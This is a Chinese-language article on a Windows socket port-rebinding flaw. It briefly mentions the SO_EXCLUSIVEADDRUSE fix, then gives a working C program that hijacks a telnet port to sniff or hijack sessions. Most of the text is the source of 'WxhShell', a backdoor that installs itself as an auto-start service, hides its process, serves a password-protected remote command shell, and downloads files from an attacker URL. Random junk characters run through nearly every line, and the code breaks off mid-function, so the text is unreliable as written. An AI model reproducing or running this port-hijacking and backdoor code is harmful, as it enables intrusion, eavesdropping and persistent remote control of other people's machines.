在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
BJ,9C.| s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p3R: 3E6p svTKt%6X saddr.sin_family = AF_INET;
^^C@W?.z yl'@p5n saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(yB)rBh>n 4>I >y@^ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_I1:|y A;\1`_i0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(Sd8S`xO 4'
MmT' 这意味着什么?意味着可以进行如下的攻击:
-xk.wWpV SWpvbs.'so 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CW)JS3}W" 2\/,X CQV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5gZ6H/. ]:X# w0UR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<*'%Xgm $wBF'|eU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*~>}* Ub_!~tb}? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
].e4a;pt 9z0G0QW[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7u|X
.X Z|k>)pv@ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h]{V/ O"6
(k{` #include
ZD(VH6<g% #include
C ks;f6G #include
tW)KpX #include
;)'@kzi DWORD WINAPI ClientThread(LPVOID lpParam);
:U!@ int main()
$2gX!) {
Q2(K+!Oe WORD wVersionRequested;
^/V>^9CZ DWORD ret;
6#SUfK; WSADATA wsaData;
E@(nKe&6T_ BOOL val;
Jdc{H/10 SOCKADDR_IN saddr;
NZW)$c' SOCKADDR_IN scaddr;
.%x%b6EI int err;
CNkI9>L=W` SOCKET s;
NQpC]#n SOCKET sc;
G9
g
-EP\ int caddsize;
(.Th?p%>7 HANDLE mt;
vi1
D< DWORD tid;
)oU%++cdo wVersionRequested = MAKEWORD( 2, 2 );
4v?}K err = WSAStartup( wVersionRequested, &wsaData );
pcrarj if ( err != 0 ) {
n;+`%;6 printf("error!WSAStartup failed!\n");
)d$FFTH return -1;
5z~O3QX }
F).7%YfY saddr.sin_family = AF_INET;
BGOajYD Dm+[cA"I //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*&nIxb60b{ Q dPqcw4+X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
H,q-*Kk saddr.sin_port = htons(23);
+~[>Usf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3Ud{W$Ym {
dWK"Tkf\ printf("error!socket failed!\n");
gx ]5)O return -1;
y`Nprwb }
2P(6R.8;6 val = TRUE;
LyuA("xB# //SO_REUSEADDR选项就是可以实现端口重绑定的
&`^PO$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qvs&*lBY {
> f*-9 printf("error!setsockopt failed!\n");
RoLN# return -1;
089 <B& < }
]p-xds#d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
w}WfQj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=v:}{~M^$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vXLGdv:: Mc@_[q!xY? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kuI$VC {
JUpb*B_z ret=GetLastError();
#i'wDvhol printf("error!bind failed!\n");
vKFEA7 return -1;
7zcmv"` }
;#XF.l,u listen(s,2);
<To$Hb,NP while(1)
;BmPP, {
Bag_0.H&m caddsize = sizeof(scaddr);
Is[n7Q //接受连接请求
{TVQ]G%'b sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y~Z&h?H'} if(sc!=INVALID_SOCKET)
qF3s&WI {
K0'= O mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
TR&7AiqB if(mt==NULL)
ZuNUha&a {
9
M90X8 printf("Thread Creat Failed!\n");
$g&_7SJ@ break;
yW]>v>l:Eg }
Hg04pZupN }
U9Gg#M4tY CloseHandle(mt);
m`9P5[m#x> }
S| closesocket(s);
Sah!|9 WSACleanup();
m}32ovpw return 0;
G{u(pC^ }
FG5YZrONx DWORD WINAPI ClientThread(LPVOID lpParam)
oEJxey]B7 {
U7xKu75G1 SOCKET ss = (SOCKET)lpParam;
|<2<`3 SOCKET sc;
J;S Z"I' unsigned char buf[4096];
9ePR6WS4 SOCKADDR_IN saddr;
r*kz`cJ long num;
:qvA'.L/;z DWORD val;
R+5yyk\ DWORD ret;
pebNE3`# //如果是隐藏端口应用的话,可以在此处加一些判断
^5q}M' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
)CoJ9PO7 saddr.sin_family = AF_INET;
Q6$^lRNOpk saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y3Ul}mVhA saddr.sin_port = htons(23);
wJg&OQc9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RV>n Op}R {
l(Y\@@t1 printf("error!socket failed!\n");
X3j|J/ return -1;
[!j;jlh7}, }
9/PX~j9O? val = 100;
30{+gYA if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S9E<)L {
p>1Klh:8.' ret = GetLastError();
xMA2S*%ca return -1;
nn8uFISb }
7b*9
Th*a if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
IN=l|Q$8f {
+%H2;8{F ret = GetLastError();
:v%iF!+.P return -1;
Mi<}q@]e }
V;(Rg=5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|]'gd)%S\ {
7,3 g{8 printf("error!socket connect failed!\n");
A",Xn/d closesocket(sc);
F$HL\y closesocket(ss);
GXwQ
)P5] return -1;
98I m/v }
1>)uI@?Rb while(1)
]htx9ds= {
$%zM Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
BWLeitS/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
7!A3PDAe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Q5c13g2(c num = recv(ss,buf,4096,0);
.#_g.0< if(num>0)
uz@lz + send(sc,buf,num,0);
oR}'I else if(num==0)
vFK!LeF% break;
]//Dd/L6 num = recv(sc,buf,4096,0);
RJE<1!{ if(num>0)
[(iJj3s! send(ss,buf,num,0);
jTN!\RH9NF else if(num==0)
jF6[+bW< break;
66'AaA;0^i }
~-BIUZ; closesocket(ss);
r1zuc:W1 closesocket(sc);
x?2y^3<5 return 0 ;
tRXR/;3O }
2l}3L 6D29s]h2 puK /;nns ==========================================================
Ql9
) #IxCI)!I{[ 下边附上一个代码,,WXhSHELL
$`txU5#vs [p96H)8YU ==========================================================
k7=mxXF 3M[5_OK #include "stdafx.h"
rlSflcK\\( ol@LLT_m #include <stdio.h>
TN.&FDqC9 #include <string.h>
RQW<Sp~ #include <windows.h>
YA@OA$`E #include <winsock2.h>
2@f?yh0 #include <winsvc.h>
!po29w:S #include <urlmon.h>
)5l9!1j +\~Mx>Cn #pragma comment (lib, "Ws2_32.lib")
+$D~?sk #pragma comment (lib, "urlmon.lib")
?q hme qj<_* #define MAX_USER 100 // 最大客户端连接数
ek]CTUl* #define BUF_SOCK 200 // sock buffer
d1/uI^8> #define KEY_BUFF 255 // 输入 buffer
_.BX#BIF uDG#L6 #define REBOOT 0 // 重启
`AxhA.&V #define SHUTDOWN 1 // 关机
[ FNA: [(/IV+ #define DEF_PORT 5000 // 监听端口
=xPBolxm5U
Y 9~z7 #define REG_LEN 16 // 注册表键长度
usOIbrQ #define SVC_LEN 80 // NT服务名长度
&&($LnyA] `KJBQK // 从dll定义API
-{a&Zkz>V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v`9n'+h-c6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<rFKJ^ B typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#AUa'qBt typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
< c[dpK5c M\jTeB"Z // wxhshell配置信息
2Ls struct WSCFG {
X5wYfN int ws_port; // 监听端口
Wj#Gm char ws_passstr[REG_LEN]; // 口令
5mF"nY&lI int ws_autoins; // 安装标记, 1=yes 0=no
IQQWp@w#8 char ws_regname[REG_LEN]; // 注册表键名
AV^Sla7|_ char ws_svcname[REG_LEN]; // 服务名
^n8r mh_% char ws_svcdisp[SVC_LEN]; // 服务显示名
I:,D:00+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
ypsT:uLT char ws_passmsg[SVC_LEN]; // 密码输入提示信息
y1+~IjY int ws_downexe; // 下载执行标记, 1=yes 0=no
ee{8C~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
O;~dao char ws_filenam[SVC_LEN]; // 下载后保存的文件名
nh+f,HtSt . [5{ };
x@480r psZ #^@>mJ // default Wxhshell configuration
H| 1O>p& struct WSCFG wscfg={DEF_PORT,
m@^!?/as "xuhuanlingzhe",
Jp]eFaqp 1,
7cMSJM(]G "Wxhshell",
Rjz~n38. "Wxhshell",
KsBi<wY "WxhShell Service",
RE}$(T= "Wrsky Windows CmdShell Service",
*WpDavovyB "Please Input Your Password: ",
E0a &1j 1,
-VlXZj@u+ "
http://www.wrsky.com/wxhshell.exe",
isR|K9qf^ "Wxhshell.exe"
x"QZ}28(t };
FZ^j|2.L* yZ]u{LJS // 消息定义模块
?\NWKp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#Jqa_$\. char *msg_ws_prompt="\n\r? for help\n\r#>";
Q`7.-di char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?O<D&CvB char *msg_ws_ext="\n\rExit.";
[Oy5Td7[ char *msg_ws_end="\n\rQuit.";
GV T[)jS char *msg_ws_boot="\n\rReboot...";
PK<+tIm\ char *msg_ws_poff="\n\rShutdown...";
{@w!kl~8 char *msg_ws_down="\n\rSave to ";
G@Y!*ZH*f 27-GfC=7* char *msg_ws_err="\n\rErr!";
E/_I$<,_y char *msg_ws_ok="\n\rOK!";
XUp'wP zVU{jmS char ExeFile[MAX_PATH];
BNe6q[ )W~ int nUser = 0;
wc#E:GJcK HANDLE handles[MAX_USER];
'lD"{^ int OsIsNt;
L\Y4$e9bF8 a@&P\"k SERVICE_STATUS serviceStatus;
8Mf{6&F= SERVICE_STATUS_HANDLE hServiceStatusHandle;
y}t1r |p oWo/QNw9 // 函数声明
WVfwt.Y int Install(void);
MF["-GvP/ int Uninstall(void);
J"Z=`I)KON int DownloadFile(char *sURL, SOCKET wsh);
p 3*y8g- int Boot(int flag);
@fSBW+ void HideProc(void);
&?xZHr` int GetOsVer(void);
<|MF\D' int Wxhshell(SOCKET wsl);
QZs ]'*=# void TalkWithClient(void *cs);
aEW sru int CmdShell(SOCKET sock);
=~f\m:Y int StartFromService(void);
}hy,
}2(8 int StartWxhshell(LPSTR lpCmdLine);
mjtmN0^SR s35`{PR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
swh8-_[c/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
OEFALt n$O[yRMI[ // 数据结构和表定义
hPB^|#} SERVICE_TABLE_ENTRY DispatchTable[] =
<//#0r* {
d1rIU6 {wscfg.ws_svcname, NTServiceMain},
7A mnxFC {NULL, NULL}
F$k^px };
]F4.m L d;))e // 自我安装
/:OSql5K*< int Install(void)
Z.DO 2=+= {
TppuEC> char svExeFile[MAX_PATH];
)Z0bMO< HKEY key;
*VPjBzcH strcpy(svExeFile,ExeFile);
R@8pKCL. dRD t.U!T // 如果是win9x系统,修改注册表设为自启动
b&j}f if(!OsIsNt) {
RU_wr< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+xc1cki_{ RegCloseKey(key);
0<";9qN)6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(q]_&%yW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|r%NMw #y RegCloseKey(key);
p&nPzZQL( return 0;
Oe["4C }
Fb0r(vQ^ }
/5$;W'I }
/)<x<7FKW else {
ym=7EY?o Y%1 94fY$ // 如果是NT以上系统,安装为系统服务
-0>gq$/N=^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+338z<'Z! if (schSCManager!=0)
4{rqGC/ {
!F|#TETrt SC_HANDLE schService = CreateService
Sbp].3^j (
W:gpcR]> schSCManager,
fZ5zsm'N wscfg.ws_svcname,
8h%oJ4da wscfg.ws_svcdisp,
4Nun-(q SERVICE_ALL_ACCESS,
_/>JM0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#{DX*;1m SERVICE_AUTO_START,
h7"c_=w+ SERVICE_ERROR_NORMAL,
-/'_XR@1 svExeFile,
<(c_[o/ NULL,
5mYX#//: NULL,
iX|K4.Pz{ NULL,
e>] gCa NULL,
=+z +`ot NULL
NtfzAz/ );
aVvma= if (schService!=0)
Id}/(Pkq {
{gkzo3 CloseServiceHandle(schService);
EQTJ=\WFF CloseServiceHandle(schSCManager);
6^l|/\Y{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?-Zl(uX strcat(svExeFile,wscfg.ws_svcname);
J^V}%N". if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
s ]XZQr% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/
:z<+SCh RegCloseKey(key);
x=M%QFe return 0;
sW^e D; }
/2.}m`5 }
|Fi{]9(G2 CloseServiceHandle(schSCManager);
6|G&d>G$_ }
<%iRa$i5 }
xk*&zAt S
T1V return 1;
QHDR*tB:{ }
6Lc{SR yt@7l]I // 自我卸载
cTJi8f=g int Uninstall(void)
-k8<LR3 {
0Fw4}f.o HKEY key;
DEw>f%&4 tP][o494\& if(!OsIsNt) {
BICG@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S 6CI+W RegDeleteValue(key,wscfg.ws_regname);
-^aJ}[uaI RegCloseKey(key);
[o"<DP6w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?:$\
t?e^ RegDeleteValue(key,wscfg.ws_regname);
, UsY0YC RegCloseKey(key);
i$5<>\g return 0;
OU
esL9 }
{ MV,>T_ }
?Qxf~,F }
FMi:2.E else {
vvI23!H gHo sPY[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X`6"^
xme if (schSCManager!=0)
5MCnGg@ {
g7"2}|qxo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(QTF+~) if (schService!=0)
?XbM {
=%ok:+D] if(DeleteService(schService)!=0) {
y1)ZO_' CloseServiceHandle(schService);
*\(MG|S CloseServiceHandle(schSCManager);
~ \]?5
nj return 0;
l+a1 `O }
L</k+a?H! CloseServiceHandle(schService);
RY
.@_{ }
{vq| 0t\- CloseServiceHandle(schSCManager);
u*T(n s
l }
"g,`K s ]; }
xG(xG%J bu9.HvT' return 1;
J%u,qF}h }
'Qh1$X)R7a T-LX>* // 从指定url下载文件
d9& int DownloadFile(char *sURL, SOCKET wsh)
`/O AgV"` {
a$j ~YUG_ HRESULT hr;
)qRH?Hsb7 char seps[]= "/";
"Ccyj / char *token;
16ZyLt char *file;
`Gj(>z* char myURL[MAX_PATH];
dEZUK vo char myFILE[MAX_PATH];
lrAhdi ]|-sZ<?<i strcpy(myURL,sURL);
'451H3LC0 token=strtok(myURL,seps);
b'W.l1]<- while(token!=NULL)
Q5^ #:uZ {
^TtL-|I file=token;
Y4C<4L? token=strtok(NULL,seps);
P)l_ :;& }
f"*k>=ETI =C2KHNc GetCurrentDirectory(MAX_PATH,myFILE);
vc :% strcat(myFILE, "\\");
/&c2O X|Z strcat(myFILE, file);
)n]"~I^ send(wsh,myFILE,strlen(myFILE),0);
o1vK2V send(wsh,"...",3,0);
5Xf]j=_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
;I&XG if(hr==S_OK)
j4<K0-? return 0;
Xhq7)/jp else
NS65F7<& return 1;
"[eH|z/ r'`7}@H* }
P6&%`$ egvb#:zW? // 系统电源模块
ua)jGif
int Boot(int flag)
F"bz<{ {
=?c""~7 HANDLE hToken;
f S[-K?K TOKEN_PRIVILEGES tkp;
&s(J:P$! =W &Mt if(OsIsNt) {
qJag>OY OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m):*>o55 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
/Kd7#@ tkp.PrivilegeCount = 1;
l n\qvD_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
b[GhI+_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
m<49<O6o if(flag==REBOOT) {
RC/45:hZZ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
(6.uNLr return 0;
f~F{@),acZ }
nTv}/M& else {
'zM=[#!B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
LFI#wGhXVk return 0;
l>MDCqV }
HhL;64OYa }
{#ynN`tLyF else {
0$]iRE;O] if(flag==REBOOT) {
R{fJ"Q5' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
jQ,Vs=*H return 0;
Kxch.$hc, }
*5 +GJWKN else {
n m<?oI*\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~ ;LzTL return 0;
'f!U[Qatg }
.%s
U)$bH }
Z2gWa~dBC d\ 8v
VZ
return 1;
W&=OtN
U! }
Lo~;pvv 1_<x%>zG // win9x进程隐藏模块
59O-"Sc[ void HideProc(void)
b,^Gj]7 {
VJ=>2'I Km;}xke6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
i1|>JM[V if ( hKernel != NULL )
.G8>UXX {
K
J\kR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
6q\*{_CPB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G.H8
><% FreeLibrary(hKernel);
{g!7K }
:oXSh;\ 4/Y?e UQ return;
N(Ru/9!y"
}
ejlns
~ +U2lwd!j // 获取操作系统版本
1!KROes4 int GetOsVer(void)
~PI2G9 {
9H/>M4RT OSVERSIONINFO winfo;
J7* o%W*V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
X58U>4a GetVersionEx(&winfo);
4%^z=% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{_Wrs.a'8 return 1;
755,=U8'wi else
n&njSj/ return 0;
W48RZghmx
}
RkE)2q[5 Ln4]uqMG. // 客户端句柄模块
Z^:_,aJ? int Wxhshell(SOCKET wsl)
g#=<;X2 {
>I|8yqbfm SOCKET wsh;
st;iGg struct sockaddr_in client;
dMH_:jb DWORD myID;
GLn=*Dh# r*+~(83k while(nUser<MAX_USER)
.`}TND~ {
@"@|O>KJ int nSize=sizeof(client);
q1T)H2S wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
->rqr# if(wsh==INVALID_SOCKET) return 1;
{5~h n.&7lg^X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SO=gG 2E if(handles[nUser]==0)
xgcxA: closesocket(wsh);
Cgx:6TRS else
b^VRpv nUser++;
nwU],{(Hgr }
|Dn Zk3M, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZC N}iQu4 ]~aj return 0;
1ysfpX{= }
-Cs( 3[ AH#mL // 关闭 socket
5rows]EJJl void CloseIt(SOCKET wsh)
>$JE!.p%o {
Y(g_h:lf,] closesocket(wsh);
Z 2N6r6 nUser--;
Vr
EGR$ ExitThread(0);
w$:\!FImx }
gx.\H3y In1W/? // 客户端请求句柄
;OlnIxH(W void TalkWithClient(void *cs)
1'qXT{f/~ {
~.:{
Ik] :C*}Yg SOCKET wsh=(SOCKET)cs;
]E-/}Ysz char pwd[SVC_LEN];
>qo!#vJc
a char cmd[KEY_BUFF];
?6CLUu|7n char chr[1];
w7Yu} JY^ int i,j;
KL'1)G"OH QPVi& *8_ while (nUser < MAX_USER) {
N4vcd=uG# EB}B75)x if(wscfg.ws_passstr) {
a;xeHbE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CPJ21^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;k!.ey$S //ZeroMemory(pwd,KEY_BUFF);
Kk8wlC i=0;
uO]D=Z\S( while(i<SVC_LEN) {
~#E&E%sJ q[\ 3,Y // 设置超时
,^([aK fd_set FdRead;
,<U=
7<NU struct timeval TimeOut;
98Vv K? FD_ZERO(&FdRead);
p(n0(}eVC' FD_SET(wsh,&FdRead);
~6f/jCluR% TimeOut.tv_sec=8;
G'\[dwD,u TimeOut.tv_usec=0;
J@2jx4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Zi~. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
1m~|e.g_'` Mt4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;j26(dH pwd
=chr[0]; s9ix&m
if(chr[0]==0xd || chr[0]==0xa) { rRRh-%.RU
pwd=0; .V
hU:_u
break; t`8Jz~G`
} G<?RH"RZr
i++; v
WXo#
} JTKS5r7?
05 6K) E
// 如果是非法用户,关闭 socket 5nx*D"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l ms^|?
} i{fw?))+
=MqEbQn{C3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )Z:-qH
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T \/^4N`
nX!%9x$3
while(1) { hl:Ba2_E
+
hoFgs9
ZeroMemory(cmd,KEY_BUFF); !V.]mI
~ EBaVl ({
// 自动支持客户端 telnet标准 2H`r:x<Z-
j=0; (2;Aqx5i
while(j<KEY_BUFF) { PB^rniYh
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w5i*pOG)Z
cmd[j]=chr[0]; X"TL'"?fo
if(chr[0]==0xa || chr[0]==0xd) { z\|<h=EU
cmd[j]=0; uU)t_W&-J
break; >GIQT?O6
} QT%`=b
j++; Z?eTjkNS#
} NOTG|\{
-U2Su|:\N8
// 下载文件 (]q
([e
if(strstr(cmd,"http://")) { X?haHM#]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); /R B%m8@;
if(DownloadFile(cmd,wsh)) %`bs<ZWT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Ik5|\ob?
else JYc:@\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s]m]b#1!r
} 12
)
else { rPB Ju0D"
t%mi#Gh(
switch(cmd[0]) { MEI&]qI
wf ]Wm
// 帮助 s>DFAu!
case '?': { \*MZ1Q*x
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L"YQji!
break; Zg_b(ks
} \l=A2i7TQ
// 安装 vVB WhY]
case 'i': { O.dZ3!!+
if(Install()) !*c%Dj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !S<p"
else SVa^:\"$[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 46f-po_
break; ?.,F3@W "
} Ge)G.> c
// 卸载 (1=@.srAzK
case 'r': { 3SY1>}(Y
if(Uninstall()) {%wrx'<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #`@)lU+/
else 0Y0z7A:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @u+LF]MY
break; m<n+1
} s3Bo'hGxG
// 显示 wxhshell 所在路径 hzAuj0-A
case 'p': { #IppjaPl8
char svExeFile[MAX_PATH]; 67/@J)z0%
strcpy(svExeFile,"\n\r"); PdKcDKJ
strcat(svExeFile,ExeFile); */{y%
send(wsh,svExeFile,strlen(svExeFile),0); MZ)lNU l
break; R UCUEo63
} =?CIC%6m
// 重启 .P8m%$'N
case 'b': { k'X"jon
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xRZ K&vkKE
if(Boot(REBOOT)) }G(#jOYk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `$"{-
else { 9F3aT'3#!
closesocket(wsh); =8vwaJ
ExitThread(0); O4nA?bA
} fm#7}Y
break; D8k >f ]
} "vYjL&4h
// 关机 N8T.Ye N
case 'd': { s|WcJV
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QfjoHeG7
if(Boot(SHUTDOWN)) 5aVZ"h"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z.
Z_A&
else { Z{u]qI{l
closesocket(wsh); `m V(:
ExitThread(0); bz:En'2>F
} DFwiBB6
break; ?RE"<L
} ^!m%:r7Dr
// 获取shell <}^p5|
case 's': { Cf 202pF3y
CmdShell(wsh); 0}Kyj"-3
closesocket(wsh); Nt
tu)wr
ExitThread(0); shLMj)7!
break; >d;U>P5.
} O>*Vo!z\f
// 退出 ,jnaa (n
case 'x': { V%*91t _
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r{*Qsaw
CloseIt(wsh);
zW ?=^bE
break; ~- aUw}U
} 2*W|s7cc
// 离开 uKY1AC__
case 'q': { L{ej<0 yr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); CT\rx>[J.6
closesocket(wsh); s4Jy96<
WSACleanup(); W T @XHwt
exit(1); f4`Nws-dP
break; [+@T"2h2b
} P e}
T
} z3^gufOkQ
} A{3nz DLI
]:#W$9,WL
// 提示信息 h1Y^+A_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pgUjje>#
} *>GRU8_}
}
%U[H`E
PE_JO(e;Xm
return; n-?zH:]GG{
} B0g?!.#23
uxX 3wY;M
// shell模块句柄 \R
3O39[
int CmdShell(SOCKET sock) >kuu\
{ Vo%ikR #
STARTUPINFO si; `/G9*tIR8g
ZeroMemory(&si,sizeof(si)); -lfbn=3
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {rF9[S"h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }_}LaEYAo
PROCESS_INFORMATION ProcessInfo; c?Zi/7
char cmdline[]="cmd"; DEPsud ;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (nkiuCO
return 0; N7q6pBA"E
} B90fUK2g
{\h:k\k
// 自身启动模式 ubKp
P%Z
int StartFromService(void) 'v(b^x<ZS
{ wgQx.8 h>
typedef struct :VR%I;g ;
{ =FAIbM>u
